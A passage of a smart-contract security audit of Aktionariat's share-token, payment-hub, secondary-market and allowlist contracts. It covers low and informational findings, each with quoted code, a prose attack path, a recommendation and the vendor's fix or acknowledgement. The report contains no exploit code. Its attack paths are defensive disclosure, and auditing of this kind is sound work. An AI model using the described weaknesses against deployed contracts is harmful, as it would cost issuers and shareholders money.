The file is now at `VERSION = 10`, and that ability is no longer there. Both settlement paths are implemented by the same internal function, which is gated on `buyingEnabled`:

```
// DirectInvestment.sol:86-89
function deliverShares(address buyer, uint256 amountShares, uint256 amountBaseCurrency, bytes
calldata ref) internal {
    require(buyingEnabled, DirectInvestment_BuyingDisabled());
    ...
}

// DirectInvestment.sol:97-99 - off-chain / bank settlement
function notifyTradeAndTransfer(address buyer, ...) public onlyOwner {
    deliverShares(buyer, amountShares, amountBaseCurrency, ref);
}

// DirectInvestment.sol:110-115 - on-chain purchase
function processIncoming(address buyer, ...) public override onlyPaymentHub {
    ...
    deliverShares(buyer, amountShares, amountBaseCurrency, ref);
}
```

There is no separate switch for the two concerns: `setEnabled` (`DirectInvestment.sol:129-132`) is the only control over `buyingEnabled`, and `migrate` (`:138`) sets it to false as well. Closing the counter therefore also stops the issuer from delivering shares for transfers investors have already paid, at least through the accounted path. What remains is `withdraw`, an owner escape hatch for any ERC20 the contract holds:

```
// DirectInvestment.sol:118-120
function withdraw(IERC20 ercAddress, address to, uint256 amount) external onlyOwner() {
    ercAddress.safeTransfer(to, amount);
}
```

L-01 (continued)

It moves the shares and nothing else. `deliverShares` also advances the price ladder (`price = price + amountShares * increment`) and emits `Trade` with the payment reference; `withdraw` does neither, so a delivery made this way leaves the curve where it was and is invisible to anything that reconstructs the shareholder register or the sale history from events. The issuer is left choosing between re-opening public on-chain buying, the very thing the pause was meant to stop, and settling off the curve.

ATTACK PATH

1. The issuer calls `setEnabled(false)` to close the counter.
2. Alice's bank transfer, sent before the pause, clears and is confirmed by the issuer.
3. The issuer calls `notifyTradeAndTransfer` to deliver Alice's shares; it reverts with `DirectInvestment_BuyingDisabled`.
4. To settle Alice through the accounted path, the issuer must call `setEnabled(true)`, re-opening on-chain buying, and anyone can buy at the current price during the window before the counter is closed again.
5. The alternative is `withdraw(token, alice, amountShares)`, which delivers the shares with the counter still closed but leaves `price` unchanged and emits no `Trade`.

IMPACT

Settling by `withdraw` costs the issuer money on every later on-chain purchase: the shares leave the inventory without advancing `price`, so the next buyers pay a rate that does not account for the tranche already distributed and the issuer sells it below the ladder its own curve defines. Those deliveries also carry no `Trade` event and no payment reference, so whoever maintains the shareholder register or the sale history from events does not see them. An issuer unwilling to accept either has to re-open the public counter and take on the purchases it meant to stop.

RECOMMENDATION

Apply the `buyingEnabled` check only to the on-chain path.

AKTIONARIAT

Fixed in commit `244f5e4`. The buying flag now gates crypto purchases only. Issuer settlement of bank orders remains available while crypto buying is disabled.

AUDITOR

Verified.

L-02

The raw approve in approveERC20 bypasses SafeERC20, excluding USDT-style tokens entirely

SEVERITY	IMPACT	LIKELIHOOD
Low	**Low**	**Medium**

DESCRIPTION

`PaymentHub` declares `using SafeERC20 for IERC20` (`PaymentHub.sol:46`) and routes every token transfer through it. The one call that does not go through it is the approval that grants the Uniswap router its allowance:

```
// PaymentHub.sol:161-163
function approveERC20(IERC20 erc20In) public {
    IERC20(erc20In).approve(address(uniswapV3SwapRouter), type(uint256).max);
}
```

`IERC20.approve` is declared `returns (bool)` (`IERC20.sol:65`). For a high-level call Solidity decodes the declared return value even when the result is discarded, and reverts if the token returns fewer than 32 bytes. USDT and other pre-final-ERC20 tokens return nothing at all, so this call reverts with empty revert data, originating inside `PaymentHub` rather than in the token.

That allowance is what lets the router pull the payment currency out of the hub during the swap (`PaymentHub.sol:145`), so such a token can never be enabled as a payment currency at all. `approvePaymentCurrencies` (`:154-158`) batches the same call, so a single such token reverts the whole batch.

The opposite case fails quietly: a token that returns `false` instead of reverting passes through unnoticed, since the boolean is discarded, and leaves the router with zero allowance while the approval transaction reports success.

IMPACT

USDT and other tokens that return no value cannot be used as a payment currency, and tokens that return `false` leave the hub approved for nothing while appearing to have been set up correctly.

L-02 (continued)

RECOMMENDATION

Route the approval through a safe wrapper that tolerates a missing return value and rejects a `false` one, as the transfers already do, using OpenZeppelin's `forceApprove`, which the project already uses in `MultichainWallet.sol:11`.

AKTIONARIAT

Fixed in commits `54bc444` and `8b8d79b`. The unsafe approval was first replaced with forceApprove. The new PaymentHub removes that approval entirely and sends swap funds directly to the Universal Router.

AUDITOR

Verified.

L-03

The Uniswap deadline is set to the executing block, so a stale swap purchase never expires

SEVERITY	IMPACT	LIKELIHOOD
Low	Low	Medium

DESCRIPTION

The two swap-based purchase routes, `payFromOtherCurrencyAndNotify` and `payFromEtherAndNotify`, settle through Uniswap. The router's `ExactOutputParams` carries a `deadline` field whose purpose is to let the payer declare how long their order stays valid, so that a transaction which did not make it into a block in time is rejected instead of executing later at conditions the payer never saw. `PaymentHub` fills that field with the timestamp of the block currently executing the call:

```
// PaymentHub.sol:135-143
ISwapRouter.ExactOutputParams memory params =
    ISwapRouter.ExactOutputParams({
        path: path,
        recipient: address(directInvestment),
        deadline: block.timestamp,
        ...
    });
```

Whatever block the transaction lands in, `block.timestamp` is by definition that block's timestamp, so the router's check passes every time. The deadline is therefore inert, and neither entry point accepts an expiry from the caller either. There is effectively no limit on when a signed purchase may execute: one that sits pending because of underpriced gas, a congested network, or a builder simply holding it back settles whenever it is eventually included, at whatever the market has become by then, and the buyer has no way to let it expire.

ATTACK PATH

1. Alice buys 100 shares paying in an ERC-20; the quote is 100,000 payment tokens and she allows 5% headroom: `amountInMaximum = 105,000`.
2. Her transaction stays pending because of low gas price or a builder holding it back at no cost to itself.
3. Hours later it is included. The router's deadline check passes, because it is compared against the timestamp of the block including it.
4. By then the pool price has moved against her, and the swap consumes the full 105,000 instead of the 100,000 she was quoted.
5. Alice settles at a rate she would no longer have accepted and receives no refund.

IMPACT

Buyers settle purchases long after signing, at conditions they never saw, losing up to the input cap they authorised.

L-03 (continued)

RECOMMENDATION

A possible solution is to add a `deadline` parameter supplied by the caller and pass it to the router instead of `block.timestamp`.

AKTIONARIAT

Fixed in commit `8b8d79b`. Both swap entry points accept a caller-supplied deadline and pass it to the router.

AUDITOR

Verified.

L-04

Off-chain settlement reserves no inventory, so a purchase landing first leaves the bank-paying investor undeliverable

SEVERITY	IMPACT	LIKELIHOOD
Low	**Low**	**Medium**

DESCRIPTION

An investor who pays by bank transfer receives their shares only afterwards, when the issuer confirms the payment and calls `notifyTradeAndTransfer` (`doc/market.md:20`).

Delivery is taken straight from whatever inventory the contract holds at that moment:

```
// DirectInvestment.sol:90
IERC20(token).safeTransfer(buyer, amountShares);
```

Nothing reserves those shares against the confirmed order, so an on-chain purchase arriving before the settlement transaction can leave too few of them and make the delivery revert. This needs no malicious actor, though the settlement call is visible in the mempool and can also be blocked deliberately.

ATTACK PATH

1. Alice pays for 1,000 shares by bank transfer; the issuer confirms the payment. The contract holds 1,200 shares of inventory.
2. The issuer submits `notifyTradeAndTransfer(alice, 1000, ...)` .
3. Bob's on-chain purchase of 300 shares is included first.
4. 900 shares remain, so the issuer's call reverts on the share transfer and Alice receives nothing.

IMPACT

An investor whose bank payment has already been received cannot be delivered their shares.

L-04 (continued)

RECOMMENDATION

A possible solution is to have the settlement transaction pull the required shares from the issuer and forward them to the investor in one call, so that delivery does not depend on the contract's inventory at that moment.

AKTIONARIAT

Acknowledged, not changed. If on-chain buyers empty the contract first, the issuer's delivery reverts, the issuer tops up the inventory and submits it again. Nothing is lost and the investor's payment is with the issuer either way. We prefer that to a second delivery path that pulls shares from the issuer. Stated in the NatSpec (`contracts/investment/DirectInvestment.sol:97`) and in `doc/market.md:20` .

AUDITOR

Agreed.

L-05

The trading fee is not bound at signing, so an intent can execute at a higher fee than the one priced into it

SEVERITY	IMPACT	LIKELIHOOD
Low	Low	Low

DESCRIPTION

The trading fee is charged to the seller: the buyer pays the full price and the seller receives that price minus the fee (`doc/secondarymarket.md:38`). Matching itself works on gross prices only: the price checks guarantee that the execution price is at least the seller's ask, and the fee is deducted afterwards, when the proceeds are paid out (`TradeReactor.sol:138-142`). A seller therefore has to price the fee into their ask when they sign, so that what remains after the deduction is the amount they actually want.

The rate they priced in is not part of what they sign. `Intent` carries no fee field or cap, and the amount is computed only at execution, from the rate current at that moment:

```
// SecondaryMarket.sol:270
uint256 totalFee = totalExecutionPrice * tradingFeeBips / 10000;
```

`tradingFeeBips` can be changed by the issuer at any time, up to 500 bips, with no timelock (`SecondaryMarket.sol:103-106`). Signed intents, meanwhile, can remain outstanding for a long time: `expiration` is only checked as `block.timestamp > intent.expiration` (`TradeReactor.sol:151`), with no upper bound on how far ahead it may be. An increase therefore applies retroactively to every intent already signed under the old rate, and the seller is settled at a deduction they never agreed to.

The project's stated position on this class of issue is:

> We defer any off chain invariants to be managed benevolently by the router

A benevolent router cannot cover this one. It has nothing to enforce against: the signed intent carries no fee cap, so nothing in it tells the router what rate the seller assumed when pricing their ask. Nor is the fee the router's to choose; `SecondaryMarket.process` computes it on-chain from the current `tradingFeeBips` , so the router's only options are to execute at that rate or not to execute at all, and refusing does not protect the seller either; it only denies them the trade.

ATTACK PATH

1. With the fee at 1.9%, a seller signs a sell intent whose ask leaves them the amount they want after that deduction, valid for three months.
2. Before the order is matched, the issuer raises `tradingFeeBips` to the 500 bips maximum.
3. The order is matched at the same gross price it was signed for.
4. The fee is computed at 5% of the execution price, and the seller receives 3.1% less than the amount they priced into their ask.

L-05 (continued)

IMPACT

Sellers are settled at a fee rate they never agreed to and receive less than the amount they priced into their order.

RECOMMENDATION

Include a maximum fee in the signed intent and revert in `process` when the fee computed at execution exceeds it.

AKTIONARIAT

Acknowledged, no `maxFee` in the intent. Since the merge an intent is bound to one market, and that market's fee is capped by the contract at 5% (`contracts/market/SecondaryMarket.sol:36` , `:107`). The seller prices the ask knowing this ceiling. Documented in `doc/secondarymarket.md:42` .

We trust the issuer not to change the fee while orders are in flight, and by signing the seller accepts the market's fee in any case, up to that ceiling.

AUDITOR

Agreed.

L-06

initRecovery takes the deterrence fee without checking whether the recovery can ever execute

SEVERITY	IMPACT	LIKELIHOOD
Low	Low	Medium

DESCRIPTION

Registering a recovery claim costs a deterrence fee, which the `deter(1)` modifier forwards to the issuer immediately (`DeterrenceFee.sol:51`). In return, `initRecovery` checks only the balance and that no claim is already registered:

```
// Recoverable.sol:77-82
function initRecovery(address lostAddress, address recipient) public payable deter(1) returns
(Recovery memory) {
    if (balanceOf(lostAddress) == 0) revert RecoveryNoBalance(lostAddress);
    if (recoveries[lostAddress].timestamp != 0) revert RecoveryInProgress(lostAddress);
    ...
}
```

Whether the transfer is permitted at all is decided only in `recover` , after the 184-day `RECOVERY_DELAY` (`Recoverable.sol:47` , `:126-132`), when `_beforeTokenTransfer` rejects it if the recipient is RESTRICTED, if the lost address is RESTRICTED and the recipient is not ADMIN, or if the lost address is ALLOWED and the recipient is neither ADMIN nor ALLOWED (`ERC20Allowlistable.sol:216-225`). The last case is the ordinary one on an allowlisted token, since the claimant's replacement address is by definition new and not yet allowlisted.

All three conditions are already readable at registration through the public views `isRestricted()` , `isAllowed()` and `isAdmin()` , and the contract even declares the error for this rejection, `InvalidRecipient(address)` (`Recoverable.sol:67`), without using it anywhere.

ATTACK PATH

1. Alice loses access to an address holding shares of an allowlisted token.
2. She calls `initRecovery(lostAddress)` and pays the fee, which is forwarded to the issuer in the same transaction. The claim is registered.
3. 184 days pass.
4. She calls `recover(lostAddress)` . The lost address is ALLOWED and her new address is not, so the transfer reverts with `Allowlist_ReceiverNotAllowlisted` .

IMPACT

A claimant pays a non-refundable fee and waits 184 days for a recovery that could have been rejected at registration.

L-06 (continued)

RECOMMENDATION

A possible solution is to validate the recipient against the allowlist rules in `initRecovery`, reverting with the already declared `InvalidRecipient` error.

AKTIONARIAT

Acknowledged, not changed. Address types can change in both directions during the 184 days, so a check at registration says little about what `recover` will see. On an allowlisted token the issuer types the claimant's new address during the wait. The one fixed rule is documented: a frozen address is recovered to the owner or after unfreezing (`doc/allowlist.md:45`). The unused `InvalidRecipient` error you pointed to is removed (aktionariat/contracts@c35cdce4).

AUDITOR

Agreed.

L-07

The shareholder veto over a drag-along or migration can be unavailable exactly when it is needed

SEVERITY	IMPACT	LIKELIHOOD
Low	Medium	Low

DESCRIPTION

A drag-along offer can be cancelled by the issuer, by the buyer, or by a holder above 10% of supply, and a migration uses the same threshold:

```
// DragAlong.sol:110-111
function canCancelOffer(address holder) public view offerPresent returns (bool) {
    return holder == owner || balanceOf(holder) > totalSupply() / 10 || latestOffer.buyer ==
holder;
}

// Modification.sol:130
function isQualified(address holder) public view returns (bool) {
    return holder == owner || (balanceOf(holder) > totalSupply() / 10);
}
```

The window to use that right is 20 days (`DragAlong.sol:55` , `Modification.sol:60`), after which `acceptOffer` and `executeMigration` are permissionless and can be called by anyone. Apart from the issuer, a holder above 10% is the only party who can stop either action.

Two situations leave that veto unusable. First, such a holder who has lost access to their address cannot act within the 20 days, and the remedy the protocol offers them, recovery, matures only after 184 days (`Recoverable.sol:47`), nine times the veto window. An offer made at a price that undervalues the company therefore executes unopposed, and by the time the holder regains control the shares have already been bought out.

Second, if no holder is above the threshold because of a fragmented cap table or a large holder whose position has been diluted, only the issuer and the buyer can cancel, so the shareholder-side veto does not exist at all for that offer.

ATTACK PATH

1. A holder with more than 10% of supply loses access to their address and starts a recovery claim.
2. A drag-along offer is made at a price the holder would have rejected.
3. The 20-day window passes with no qualified holder able to cancel.
4. Anyone calls `acceptOffer` , and the buyout executes.
5. The holder's recovery matures 184 days after the claim, long after the shares are gone.

L-07 (continued)

IMPACT

Shareholders can be bought out through a drag-along, or migrated to a successor contract, at terms their veto right was meant to let them refuse.

RECOMMENDATION

This is an operational risk rather than an implementation defect: the 184-day recovery delay is anchored in law (`Recoverable.sol:46`), and no on-chain rule can guarantee that a holder above the threshold is able to act. Since the issuer can always cancel, the practical mitigation is a documented off-chain procedure through which a holder who cannot exercise the veto on-chain raises their objection, is verified as the real owner of the position, and has the issuer cancel the offer on their behalf within the 20-day window.

AKTIONARIAT

Agreed, and handled the way you recommend. The 10% threshold counts wrapped supply only. Holders who cannot act on-chain, for example while a recovery of their address is pending, object through the issuer, who can cancel at any time and knows every holder above 10%. Documented in aktionariat/contracts@ae41081: `contracts/shares/sha/DragAlong.sol:14` , `contracts/shares/sha/Modification.sol:99` , `doc/draggable.md:33` .

AUDITOR

Agreed.

L-08

A transfer from an admin address to the issuer's own address disables burn for every holder

SEVERITY	IMPACT	LIKELIHOOD
Low	Medium	Low

DESCRIPTION

The state is a token without transfer restrictions, so that the zero address and the issuer's own `owner` address are both FREE, in which at least one address has been typed ADMIN. What makes that combination matter is that `burn` does not destroy the caller's tokens where they sit: it moves them to the issuer's address first and burns them there.

```
// Shares.sol:209-212
function burn(uint256 _amount) external {
    _transfer(msg.sender, owner, _amount);
    _burn(owner, _amount);
}
```

`migrate` does the same through the successor contract (`Shares.sol:139-143`), so in both the intermediate address's type is part of the operation, and it can be changed by anyone the issuer has made ADMIN. While `owner` is FREE, an admin-typed address transferring to it for any ordinary reason stamps it ALLOWED (`ERC20Allowlistable.sol:229-236`); nothing else in that transfer fails, so it commits and the flag stays. An `owner` already typed ADMIN is immune, the branch at `:222` never being entered. An `owner` typed ALLOWED is not: no stamp is applied there either, but the token is in the failure state already, `_burn(owner, ...)` being the same ALLOWED sender paying the FREE zero address.

From then on, in a token whose zero address is FREE, `burn` reverts for everybody: the first leg still passes, and the second is an ALLOWED sender paying the FREE zero address, which `:222-225` rejects. Holders who were never restricted lose the ability to burn because of a transfer between two other addresses, and recovering it is one `setType(owner, TYPE_FREE)` once somebody works out why burning stopped.

The same mechanism blocks admin-typed holders from these two functions at all, and leaves nothing behind: their first leg stamps a FREE intermediate address ALLOWED, the burn leg reverts, and the whole call unwinds along with the stamp.

IMPACT

One ordinary transfer between two of the issuer's own addresses turns off burning for the entire holder base, with no error at the time and nothing in the failure pointing at the cause. Admin-typed holders separately cannot burn or migrate while the intermediate address is FREE. Both are cleared by a single `setType` , once diagnosed.

L-08 (continued)

RECOMMENDATION

Document this configuration and the operational steps it requires.

AKTIONARIAT

Fixed in commit `609c2ec`. The burn from the owner to the zero address remains permitted even when an admin transfer has marked the owner ALLOWED.

AUDITOR

Verified.

L-09

The wrapper type that lets allowlisted holders wrap is the one that stops it paying out to anyone else

SEVERITY	IMPACT	LIKELIHOOD
Low	Medium	Low

DESCRIPTION

The state this concerns is a base token running with transfer restrictions, so that its holders are typed ALLOWED, and the wrapper typed ALLOWED on that token. It holds the base shares for everyone who has wrapped, so it carries a type there like any other holder, and it has to be ALLOWED or ADMIN for `wrap` to work at all, since an ALLOWED sender may only reach an ALLOWED or ADMIN recipient (`ERC20Allowlistable.sol:222-225` , `SharesUnderAgreement.sol:122`).

With the first of the two, it can no longer pay out to anyone not separately listed on the base token, because every outbound path has the wrapper as the sender: `unwrap` returning the shares to the holder (`:143`), `acceptOffer` handing the acquirer the whole base balance (`DragAlong.sol:131`), and `executeMigration` letting the successor pull it (`Modification.sol:141-142`). Deposits are unaffected: a FREE holder sending into an ALLOWED wrapper passes the recipient check, so shares go in from either kind of holder and come back out only to the listed ones. ADMIN is the only type that serves both directions.

The same state can be reached without anyone choosing it. A default migration mints successor tokens to the old wrapper, and if the successor runs with restrictions that mint stamps the wrapper ALLOWED there (`ERC20Allowlistable.sol:229-236`). Holders now unwrap into the successor token (`Modification.sol:143`), and the free-float ones cannot be paid on a contract that may well belong to somebody else.

IMPACT

Holders who are not on the base token's allowlist cannot get their shares out of the wrapper, and acquisitions and migrations to unlisted counterparties cannot complete. The issuer clears it by listing each counterparty or retyping the wrapper, except after a migration, where the type to change sits on a successor token they may not own.

L-09 (continued)

RECOMMENDATION

Document this configuration and the operational steps it requires.

AKTIONARIAT

Fixed in commits `a259530` and `eec5147`. The factory types the wrapper ADMIN on the base token, while ADMIN no longer permits frozen senders to transfer to it. After migration to a restricted successor, its issuer must type the old wrapper ADMIN there.

AUDITOR

Verified.

I-01

The DirectInvestment constructor accepts zero addresses, including an owner that would brick all administration

SEVERITY
Informational

DESCRIPTION

None of the `DirectInvestment` constructor arguments are checked against the zero address (`DirectInvestment.sol:51-66`): `_token` , `_base` , `_owner` and `_paymentHub` . `Ownable` (`Ownable.sol:34-37`) stores the initial owner unchecked as well, and `transferOwnership` (`Ownable.sol:51-54`) likewise accepts `address(0)` .

A zero owner is the most consequential of these. `_checkOwner` (`Ownable.sol:61-65`) compares `msg.sender` against `owner` , and a top-level call can never come from the zero address, so every administrative function reverts permanently and ownership cannot be transferred to recover: `setPrice` , `setEnabled` , `setPaymentHub` , `notifyTradeAndTransfer` , `withdraw` and `migrate` all become unusable. Since every path that moves base currency out of the contract is owner-gated, the collected proceeds remain permanently locked.

RECOMMENDATION

Reject `address(0)` for these arguments in the constructor.

AKTIONARIAT

Acknowledged, no check added. The contract is deployed through `AktionariatFactory` , which refuses a zero owner (`contracts/factories/AktionariatFactory.sol:246`). A zero payment hub is a legitimate setup for issuer-settled sales only.

`Ownable` accepts the zero address on purpose: `transferOwnership(address(0))` is how ownership is renounced, and there is no separate `renounceOwnership` (`contracts/utils/Ownable.sol:46-52`).

AUDITOR

Agreed.

I-02

The documentation of the hook exempts contract recipients from automatic allowlisting; the code has no such check

SEVERITY
Informational

DESCRIPTION

The NatSpec above `_beforeTokenTransfer` lists the cases in which an admin transfer does not convert its recipient:

```
// ERC20Allowlistable.sol:204-208
@notice Any transfer of admin sets the reciever to Allowed, except if at least one of:
         - The transfer amount is zero
         - The receipient (to) is a contract
         - The receipient (to) is the zero address
         is not true.
```

The implementation tests two of the three:

```
// ERC20Allowlistable.sol:229-236
if (
    isAdmin(from)
    && amount != 0
    && to != address(0)
) {
    _setFlag(to, FLAG_INDEX_ALLOWED, true);
    emit AddressTypeUpdate(to, TYPE_ALLOWED);
}
```

Nothing in the contract distinguishes a contract recipient from an externally owned one: the hook is overridden once (`:214`), and neither it nor `ERC20Flaggable` tests the recipient's code size. The contracts in the system, including the reactor, wrapper and CCIP pools, are stamped like any other address, and whether they are decides whether later transfers through them succeed.

The sentence is also unreliable as written. Its opening, “Any transfer of admin sets the reciever to Allowed”, passes over the guards the code does apply, since the stamp sits inside the branch at `:222` and never fires for a recipient that is already ADMIN or ALLOWED. And “except if at least one of ... is not true” negates the two conditions the code implements, under which the stamping happens only when both hold. `doc/allowlist.md:12` states the behaviour without any exemption, so the comment is the only place one appears.

I-02 (continued)

RECOMMENDATION

Correct the comment to describe what the hook actually does.

AKTIONARIAT

Fixed in the reviewed code at `e86420a`. The transfer-hook documentation matches the code. Contract recipients have no exemption from automatic allowlisting.

AUDITOR

Verified.

I-03

Destination deployment never types the bridge pool, so switching restrictions on closes the way back

SEVERITY
Informational

DESCRIPTION

The state is a destination chain whose pool was never given an allowlist type, running with restrictions switched on. It arises because deploying that side wires the pool to the token and stops there:

```
// CCIPBurnMintTokenPoolFactory.sol:59
BridgedSharesUnderAgreement(localToken).setPool(pool);
```

`setPool` records which address may mint and burn (`BridgedSharesUnderAgreement.sol:99-102`); it says nothing about the allowlist, and neither the factory nor `TokenDeploymentManagerDestination.deploy` calls `setType` . A freshly deployed token has no flags anywhere, so the pool is FREE, which works while the token has no restrictions.

It stops working the moment it has. After `setApplicable(true)` the zero address is ADMIN, so every arriving mint stamps its recipient ALLOWED (`ERC20Allowlistable.sol:229-236`), and bridging back out is a transfer from that ALLOWED holder into a FREE pool, which `:222-225` rejects. Those holders can still trade among themselves and with any admin address; what they cannot do is reach the pool. Holders who arrived before the switch stay FREE and are unaffected.

IMPACT

Outbound bridging stops for every holder the restriction regime has listed, at the moment the issuer switches restrictions on rather than at deployment, when the step was missed. One `setType` on the pool clears it, though the right argument depends on the regime: ALLOWED serves the bridge while restrictions are on and breaks the pool's own burn if they are ever switched off again, while ADMIN works under both at the price of making the pool a permitted destination for restricted senders.

I-03 (continued)

RECOMMENDATION

Document this configuration and the operational steps it requires.

AKTIONARIAT

Fixed in commits `cc2c8b4` and `609c2ec`. The new factory types bridge intermediaries ALLOWED when deploying under restrictions. If restrictions are enabled later, the issuer must type them. Burns remain available after restrictions are disabled.

AUDITOR

Verified.

I-04

Switching transfer restrictions off leaves the holders who were listed unable to burn

SEVERITY
Informational

DESCRIPTION

The state is a token that ran with transfer restrictions and has had them switched off again, leaving the zero address FREE while the holders stamped in the meantime are still ALLOWED. That follows from `setApplicable` changing exactly one address:

```
// ERC20Allowlistable.sol:78-84
function setApplicable(bool transferRestrictionsApplicable) external onlyOwner {
    if (transferRestrictionsApplicable) {
        setTypeInternal(address(0x0), TYPE_ADMIN);
    } else {
        setTypeInternal(address(0x0), TYPE_FREE);
    }
}
```

Turning restrictions on types the zero address ADMIN so that every mint stamps its recipient ALLOWED; turning them off types it FREE again, but those stamps stay where they are. Burning is a transfer to the zero address (`ERC20Flaggable.sol:293-294`), so for those holders it becomes an ALLOWED sender paying a FREE recipient, which reverts (`ERC20Allowlistable.sol:222-225`). Where the holder burns their own balance the failure is unconditional: `SharesUnderAgreement.unwrap` (`:140-144`) on a wrapper whose restrictions were switched off, and the issuer's `Recoverable.burn` (`:119-124`) against such a holder.

`Shares.burn` and `Shares.migrate` stage through a third address first (`:209-212` , `:139-143`), so there the outcome depends on how that address is typed: FREE and the first leg reverts, ALLOWED and the burn leg does, ADMIN and the sequence succeeds. Since `doc/allowlist.md:39` suggests typing the issuer multisig ADMIN, whether `burn` works at all comes down to how the issuer's own address happens to be typed.

The documentation presents the switch as complete in itself: “To make tokens freely transferable by default again, simply remove the Admin status from the 0x0 address” (`:38`), while the warning it gives in the other direction, that existing holders are not converted automatically (`:37`), is not repeated here.

IMPACT

The holders the issuer had listed lose the ability to unwrap and to have their balance burned at the moment restrictions are lifted, which is when they would expect to gain it. Nothing is lost: the issuer types them FREE with the batch overload of `setType` (`:124-128`), enumerating them from the `AddressTypeUpdate` events.

I-04 (continued)

RECOMMENDATION

Document this configuration and the operational steps it requires.

AKTIONARIAT

Fixed in commit `609c2ec`. Non-frozen addresses can transfer to the owner or zero address regardless of allowlist type, preserving burns and hand-backs.

AUDITOR

Verified.

I-05

The allowlist matrix in the documentation is labelled the wrong way round

SEVERITY
Informational

DESCRIPTION

`doc/allowlist.md:16` introduces the ruleset table with “Rows represent the 'to', columnns represent the 'from' address.” The values in the table are correct, but they are laid out the other way round: rows are the sender, columns are the recipient.

```
|            | Fre | Alw | Res | Adm |
|------------|-----|-----|-----|-----|
| Free       |  Y  |  Y  |  N  |  Y  |
| Allowed    |  N  |  Y  |  N  |  Y  |
| Restricted |  N  |  N  |  N  |  Y  |
| Admin      |  Y  |  Y  |  N  |  Y  |
```

Read as the legend instructs, row `Free` × column `Alw` says an allowlisted holder may send to a free address, which the same page rules out two paragraphs earlier: “'Allowed' addresses that can receive tokens from anyone, but only send to allowlisted or admin addresses”. Read with rows as the sender, every cell agrees with both the prose and the code.

The `Res` column settles it independently: it is `N` in all four rows, which matches `if (isRestricted(to)) revert` (`ERC20Allowlistable.sol:216-217`), an unconditional rule that applies to admin senders too. Under the stated legend that would instead be the `Restricted` row, which ends in `Y`.

The same table appears in the contract at `ERC20Allowlistable.sol:195-202` with no legend at all, so a reader has only the documentation to orient it.

RECOMMENDATION

Swap the legend: rows are the sender, columns the recipient.

AKTIONARIAT

Fixed in commit `a259530` . The documentation and contract now state that rows are senders and columns are recipients.

AUDITOR

Verified.